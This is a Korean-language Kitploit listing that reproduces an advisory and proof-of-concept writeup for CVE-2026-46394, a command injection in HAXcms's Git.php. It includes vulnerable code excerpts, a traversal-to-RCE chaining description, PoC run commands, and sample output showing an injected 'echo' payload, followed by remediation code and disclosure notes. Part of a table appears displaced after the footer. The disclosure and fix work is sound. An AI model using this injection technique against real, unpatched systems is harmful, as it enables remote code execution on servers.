Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-46394-haxcms-git-command-injection — CVE-2026-46394에 대한 PoC 및 writeup: HAXcms Git.php의 OS 명령 주입(CWE-78). 인가된 보안 연구 목적으로만 사용하세요. | Kitploit
도구/GitHubGitHub/shreyas-challa/cve-2026-46394-haxcms-git-command-injection
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubshreyas-challa/cve-2026-46394-haxcms-git-command-injection

CVE-2026-46394-haxcms-git-command-injection

CVE-2026-46394에 대한 PoC 및 writeup: HAXcms Git.php의 OS 명령 주입(CWE-78). 인가된 보안 연구 목적으로만 사용하세요.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-46394 - HAXcms Git.php OS 명령 주입 (CWE-78)

승인된 보안 테스트 및 연구 목적의 개념 증명(PoC)입니다. 여기에 설명된 취약점은 HAXcms 최신 릴리스에서 수정되었습니다. 본 PoC는 방어자와 연구자가 자신이 소유하거나 명시적으로 테스트 승인을 받은 패치되지 않은 인스턴스에서 해당 문제를 검증할 수 있도록 공개되었습니다.

CVECVE-2026-46394
구성 요소HAXcms PHP 백엔드 - system/backend/php/lib/Git.php
취약점OS 명령 주입 (CWE-78)
심각도높음 - CVSS 3.1 단독 7.2 / 경로 탐색과 연계 시 8.1
상태업스트림에서 수정됨. 패치 이전 릴리스에 영향.
프로젝트elmsln/HAXcms
보고자Shreyas Challa ([email protected])

요약

HAXcms PHP 백엔드의 Git.php 라이브러리는 소독되지 않은 매개변수를 연결하여 셸 명령 문자열을 구성하고 이를 proc_open()에 직접 전달합니다. 셸 명령을 실행하는 17개의 함수 중 하나(commit())만 escapeshellarg()를 사용합니다. 나머지 15개는 호출자 입력을 명령 문자열에 직접 삽입합니다.

셸 메타문자(&, ;, |, $(), 백틱)를 포함한 값이 이러한 함수 중 하나에 도달하면 웹 서버 사용자 권한으로 임의 OS 명령 실행이 발생합니다.

올바르게 이스케이프된 단 하나의 함수는 이스케이프 처리가 이해되었으며 단순히 다른 모든 곳에서 누락되었다는 가장 명확한 증거입니다.

근본 원인

모든 취약한 함수는 run() → run_command() → proc_open() 흐름을 거칩니다:

root@kitploit:~
// Git.php:408-411 - builds a raw command string
public function run($command) {
    return $this->run_command(Git::get_bin() . " " . $command);
}

// Git.php:383 - executes it via the system shell
$resource = proc_open($command, $descriptors, $pipes, $this->repo_path, $env);

취약한 예시와 유일하게 안전한 함수의 비교:

root@kitploit:~
// Git.php:574 - VULNERABLE (no escaping)
public function create_branch($branch) {
    return $this->run("branch $branch");
}

// Git.php:496 - SAFE (proves the author knew the pattern)
public function commit($message = "") {
    return $this->run("commit -av -m " . escapeshellarg($message));
}

영향을 받는 모든 함수

함수라인셸 명령이스케이프?
create_branch($branch)574branch $branch아니요
delete_branch($branch)588branch -d $branch아니요
checkout($branch)663checkout $branch아니요
merge($branch)677merge $branch --no-ff아니요
push($remote, $branch)785push $remote $branch $flags아니요
pull($remote, $branch)799pull $remote $branch아니요
log($format)813log --pretty=format:"$format"아니요
show($commit, $format)830show --pretty=format:"$format" $commit아니요
list_tags($pattern)763tag -l $pattern아니요
clone_to($target)512clone --local $repo $target아니요
clone_from($source)527clone --local $source $repo아니요
clone_remote($source)543clone $source $repo아니요
set_remote($dest, $url)460remote add $dest $url아니요
rm($files)

실제 환경에서의 악용

배포된 코드베이스에서 이러한 함수들은 요청 본문에서 직접 가져온 값이 아닌 서버/사이트 구성에서 가져온 값으로 호출되므로, 악용은 **연쇄 공격(chaining)**을 통해 실현됩니다:

  • 경로 탐색 → 구성 오염 → RCE: saveOutline 경로 탐색을 사용하여 사이트의 site.json을 덮어쓰고 metadata.site.git.branch에 메타문자를 주입합니다. 다음 gitCommit() 호출 시 HAXCMSSite.php:584에서 push('origin', $branch)가 실행되며 페이로드가 실행됩니다.
  • git 브랜치/원격 설정을 매니페스트에 기록하는 다른 모든 메커니즘은 create_branch() (Operations.php:2762) 또는 set_remote() (HAXCMSSite.php:625)에 도달합니다.

PoC 실행

PoC는 실제 Git.php 라이브러리를 직접 구동합니다. 임시 git 저장소를 생성하고 셸 명령 구분자를 사용하는 페이로드로 create_branch()를 호출한 다음, 디스크에 기록된 증명 파일을 확인하여 실행을 검증합니다. 실행 후 스스로 정리합니다.

사전 요구 사항

  • PHP CLI (7.x 또는 8.x)
  • PATH에 등록된 git
  • HAXcms PHP 백엔드 사본
root@kitploit:~
git clone https://github.com/elmsln/HAXcms.git
git clone https://github.com/shreyas-challa/CVE-2026-46394-haxcms-git-command-injection.git
cd CVE-2026-46394-haxcms-git-command-injection

실행

PoC를 HAXcms 클론의 Git.php에 지정합니다 (환경 변수 또는 첫 번째 인자). 또한 PoC 옆에 배치된 haxcms-php/를 자동으로 발견합니다:

root@kitploit:~
# Option A - environment variable
HAXCMS_PHP=../HAXcms/haxcms-php/system/backend/php/lib/Git.php php poc_git_cmdi.php

# Option B - CLI argument
php poc_git_cmdi.php ../HAXcms/haxcms-php/system/backend/php/lib/Git.php

Unix(; 구분자)와 Windows(& 구분자) 모두에서 작동하며, PoC가 호스트 OS에 맞는 페이로드를 자동으로 선택합니다.

샘플 출력

root@kitploit:~
================================================================
  HAXcms Git.php - OS Command Injection (CWE-78)
================================================================

STEP 3: Inject OS command via create_branch()
  Payload: test & echo COMMAND_INJECTION_PROOF > "...\PWNED.txt"

STEP 4: Verify injected command executed
  FILE FOUND!
    Content: COMMAND_INJECTION_PROOF
  COMMAND INJECTION CONFIRMED.

해결 방법

15개 함수 모두의 모든 매개변수에 escapeshellarg()를 적용하십시오:

root@kitploit:~
// BEFORE
public function create_branch($branch) {
    return $this->run("branch " . $branch);
}
// AFTER
public function create_branch($branch) {
    return $this->run("branch " . escapeshellarg($branch));
}

심층 방어 - 값이 git 계층에 도달하기 전에 검증하십시오:

root@kitploit:~
function validateBranchName($branch) {
    return preg_match('/^[a-zA-Z0-9._\/-]+$/', $branch) && strpos($branch, '..') === false;
}

업스트림 수정 사항이 포함된 최신 HAXcms 릴리스로 업데이트하십시오.

책임 있는 공개

이 문제는 HAXcms 관리자에게 보고되었으며 공개 전에 수정되었습니다. PoC는 패치가 제공된 이후에만 공개됩니다. 반드시 자신이 소유하거나 명시적으로 테스트 승인을 받은 시스템에만 사용하십시오.

법적 고지 / 승인된 사용 안내

본 자료는 방어적 연구, 교육, 그리고 승인된 보안 테스트를 위해 제공됩니다. 명시적 허가 없이 시스템에 대해 실행하는 것은 불법일 수 있습니다. 모든 관련 법률을 준수하고 테스트 전에 승인을 받을 책임은 전적으로 사용자에게 있습니다. 보증 없이 "있는 그대로" 제공됩니다 (LICENSE 참조).

도구 다운로드
479
rm $files
아니요
add_tag($tag, $msg)749tag -a $tag -m $msg$tag: 아니요, $msg: 예
commit($message)496commit -av -m $message예 (유일하게 안전한 함수)